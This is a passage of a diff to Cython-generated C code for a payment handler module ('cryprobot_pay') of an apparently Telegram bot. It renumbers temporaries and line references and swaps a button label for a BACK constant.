__pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_13); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_10); @@ -9312,12 +9312,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 268, __pyx_L9_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 269, __pyx_L9_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 268, __pyx_L9_error) + else __PYX_ERR(0, 269, __pyx_L9_error) } } @@ -9325,102 +9325,105 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 274, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 275, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 277, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_13); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 278, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); __pyx_t_14 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_13))) { - __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_13); + if (unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_14)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_14); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_13, function); + __Pyx_DECREF_SET(__pyx_t_8, function); __pyx_t_4 = 1; } } #endif { PyObject *__pyx_callargs[2] = {__pyx_t_14, NULL}; - __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 277, __pyx_L9_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 278, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } - __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_row); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 277, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_13); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_row); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 278, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 277, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 278, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 277, __pyx_L9_error) + __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 278, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_14); - if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 277, __pyx_L9_error) - if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 277, __pyx_L9_error) - __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 277, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_BACK); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 278, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_15); + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_t_15) < 0) __PYX_ERR(0, 278, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 278, __pyx_L9_error) + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 278, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __pyx_t_14 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_13))) { - __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_14)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_14); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_13, function); + __Pyx_DECREF_SET(__pyx_t_8, function); __pyx_t_4 = 1; } } #endif { PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_t_15}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 277, __pyx_L9_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } - __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 277, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_13); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 278, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_13))) { - __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_3)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_13, function); + __Pyx_DECREF_SET(__pyx_t_8, function); __pyx_t_4 = 1; } } #endif { PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; - __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 277, __pyx_L9_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 278, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } - __pyx_t_13 = NULL; + __pyx_t_8 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS if (unlikely(PyMethod_Check(__pyx_t_1))) { - __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_1); - if (likely(__pyx_t_13)) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); - __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_4 = 1; @@ -9428,16 +9431,16 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } #endif { - PyObject *__pyx_callargs[4] = {__pyx_t_13, __pyx_cur_scope->__pyx_v_message, __pyx_kp_u__15, __pyx_t_9}; - __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + PyObject *__pyx_callargs[4] = {__pyx_t_8, __pyx_cur_scope->__pyx_v_message, __pyx_kp_u__9, __pyx_t_9}; + __pyx_t_13 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 274, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_8); + if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 275, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_13); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_10); @@ -9462,12 +9465,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 274, __pyx_L9_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 275, __pyx_L9_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 274, __pyx_L9_error) + else __PYX_ERR(0, 275, __pyx_L9_error) } } } @@ -9491,8 +9494,8 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_t_16 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_16) { __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_8, &__pyx_t_1, &__pyx_t_9) < 0) __PYX_ERR(0, 279, __pyx_L11_except_error) - __Pyx_XGOTREF(__pyx_t_8); + if (__Pyx_GetException(&__pyx_t_13, &__pyx_t_1, &__pyx_t_9) < 0) __PYX_ERR(0, 280, __pyx_L11_except_error) + __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); @@ -9500,14 +9503,14 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_cur_scope->__pyx_v_e = __pyx_t_1; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 280, __pyx_L24_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 281, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 280, __pyx_L24_error) + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 281, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 280, __pyx_L24_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 281, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_kp_u__16, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 280, __pyx_L24_error) + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_kp_u__10, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 281, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -9526,19 +9529,19 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx #endif { PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_14}; - __pyx_t_13 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 280, __pyx_L24_error) - __Pyx_GOTREF(__pyx_t_13); + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 281, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; } - __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 281, __pyx_L24_error) + __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 282, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_15); - __Pyx_GetModuleGlobalName(__pyx_t_17, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 284, __pyx_L24_error) + __Pyx_GetModuleGlobalName(__pyx_t_17, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 285, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_17); __pyx_t_18 = NULL; __pyx_t_4 = 0; @@ -9558,20 +9561,23 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx PyObject *__pyx_callargs[2] = {__pyx_t_18, NULL}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_17, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 284, __pyx_L24_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 285, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; } - __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_row); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 284, __pyx_L24_error) + __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_row); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 285, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 284, __pyx_L24_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 285, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_18 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 284, __pyx_L24_error) + __pyx_t_18 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 285, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_18); - if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 284, __pyx_L24_error) - if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 284, __pyx_L24_error) - __pyx_t_19 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_18); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 284, __pyx_L24_error) + __Pyx_GetModuleGlobalName(__pyx_t_19, __pyx_n_s_BACK); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 285, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_19); + if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_text, __pyx_t_19) < 0) __PYX_ERR(0, 285, __pyx_L24_error) + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + if (PyDict_SetItem(__pyx_t_18, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 285, __pyx_L24_error) + __pyx_t_19 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_18); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 285, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_19); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; @@ -9594,11 +9600,11 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_17, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 284, __pyx_L24_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 285, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; } - __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 284, __pyx_L24_error) + __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 285, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -9619,7 +9625,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_14 = __Pyx_PyObject_FastCall(__pyx_t_17, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 284, __pyx_L24_error) + if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 285, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; } @@ -9638,30 +9644,30 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } #endif { - PyObject *__pyx_callargs[4] = {__pyx_t_17, __pyx_cur_scope->__pyx_v_message, __pyx_kp_u__17, __pyx_t_14}; - __pyx_t_13 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); + PyObject *__pyx_callargs[4] = {__pyx_t_17, __pyx_cur_scope->__pyx_v_message, __pyx_kp_u__11, __pyx_t_14}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 281, __pyx_L24_error) - __Pyx_GOTREF(__pyx_t_13); + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 282, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_13); - __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; - __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; __Pyx_XGIVEREF(__pyx_t_10); - __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; __Pyx_XGIVEREF(__pyx_t_11); - __pyx_cur_scope->__pyx_t_4 = __pyx_t_11; + __pyx_cur_scope->__pyx_t_3 = __pyx_t_11; __Pyx_XGIVEREF(__pyx_t_12); - __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); __Pyx_Coroutine_SwapException(__pyx_generator); @@ -9672,27 +9678,27 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; __pyx_cur_scope->__pyx_t_0 = 0; __Pyx_XGOTREF(__pyx_t_1); - __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; - __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_9); - __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; - __pyx_cur_scope->__pyx_t_3 = 0; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_10); - __pyx_t_11 = __pyx_cur_scope->__pyx_t_4; - __pyx_cur_scope->__pyx_t_4 = 0; + __pyx_t_11 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; __Pyx_XGOTREF(__pyx_t_11); - __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; - __pyx_cur_scope->__pyx_t_5 = 0; + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 281, __pyx_L24_error) + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 282, __pyx_L24_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 281, __pyx_L24_error) + else __PYX_ERR(0, 282, __pyx_L24_error) } } } @@ -9707,7 +9713,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx /*exception exit:*/{ __Pyx_PyThreadState_assign __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; - __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; @@ -9715,6 +9720,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_25, &__pyx_t_26, &__pyx_t_27); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24) < 0)) __Pyx_ErrFetch(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24); __Pyx_XGOTREF(__pyx_t_22); @@ -9744,7 +9750,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } __pyx_L25:; } - __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; goto __pyx_L10_exception_handled; @@ -9769,17 +9775,17 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 287, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, 